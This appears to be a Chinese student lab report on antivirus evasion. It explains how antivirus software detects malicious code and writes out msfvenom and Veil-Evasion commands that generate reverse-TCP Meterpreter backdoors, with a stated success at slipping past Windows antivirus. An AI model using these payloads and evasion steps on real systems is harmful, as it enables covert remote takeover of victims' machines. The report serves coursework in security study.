基础内容
1. 杀软是如何检测出恶意代码的?
基于特征码的检测:杀软通过对已存在的流行代码特征的提取与比对检测到具有该特征码的程序就当作检测到了恶意代码。
基于行为的检测:杀软通过检测程序是否有更改注册表行为、是否有设置自启动、是否有修改权限等等。
2. 免杀是做什么的?
通过一些手段来瞒过杀软的检测扫描,避免被杀毒软件查杀,并能成功控制被植入机。
3. 免杀的基本方法有哪些?
- 改变特征码:对恶意代码进行加壳、用其他语言或编译器进行再编译,利用shellcode进行编码,减少对系统的修改,多在内存里进行操作,多使用反弹式的连接。
- 改变攻击行为:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码。
实践内容
- 理解免杀技术原理
- 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(成功实现了免杀的。如何做成功的简单语言描述即可,不要截图、指令。与杀软共生的结果验证要截图。)
- 通过组合应用各种技术实现恶意代码免杀
- 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
实验内容
1. 使用msf编码器直接生成一个后门程序
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.69.126 LPORT=5329 -f exe > 5329met-encoded.exe
然后将该程序上传到virscan扫描:
2. 用Veil-Evasion生成可执行文件
kali原本没有veil-evasion ,所以需要先安装:sudo ape-get install veil-evasion
menu下依次输入语言、ip、端口号以及文件名等
use python/meterpreter/rev_tcp
set LHOST192.168.246.129
generate
5329
1
将生成的可执行文件传送到windows,传送时windows杀软没有检测到文件为恶意代码并杀死它
上传到virscan扫描
3. shellcode编程
在kali终端下生成一个c格式的十六进制数组,使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击者IP LPORT=302 -f c命令生成一个C语言shellcode数组。
将代码上传到virscan扫描,结果显示为恶意代码,并且提出了警告。
实践总结
- 通过本次实验,了解了一般的杀毒软件查杀的原理,一般的恶意代码是如何想尽办法伪装的;
- 我们要提高自身的安全保护意识和专业知识,才能降低我们被恶意代码侵害的风险。